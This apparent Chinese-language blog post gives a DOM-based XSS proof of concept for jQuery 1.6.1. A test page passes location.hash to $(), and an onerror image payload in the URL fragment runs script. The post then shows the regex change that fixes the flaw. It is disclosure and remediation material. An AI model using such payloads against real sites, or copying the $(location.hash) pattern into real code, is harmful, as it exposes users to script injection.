Jquery dom xss跨站POC及修复

下载了jQuery JavaScript Library v1.6.1这个库。
用过下面代码引入jquery库验证 dom xss

<html>
<head>
<title>jQuery DomXSS test</title>
<script type="text/javascript"src="jquery.min.js"></script>
<script>
<!-- 标记html#par,传入的par会在页面中显示 -->
$(location.hash)
</script>
</head>
<body>
Hello,jQuery.
<p>测试URL:   1.html#foo<img src=1 onerror=alert(111111111111111111)></p>
</body>
</html>

直接在url中加入#foo<img src=1 onerror=alert(111111111111111111)></p>,或者把url放入页面中都可以触发。当图片发生错误的时候激活onerror事件。
修复:
/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, 改为 /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, 仔细看第一个正则与第二个的区别,其实是把^<改成了^#<,也就是开始是只匹配<,修改后也是匹配到了#<。
 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

This site uses Akismet to reduce spam. Learn how your comment data is processed.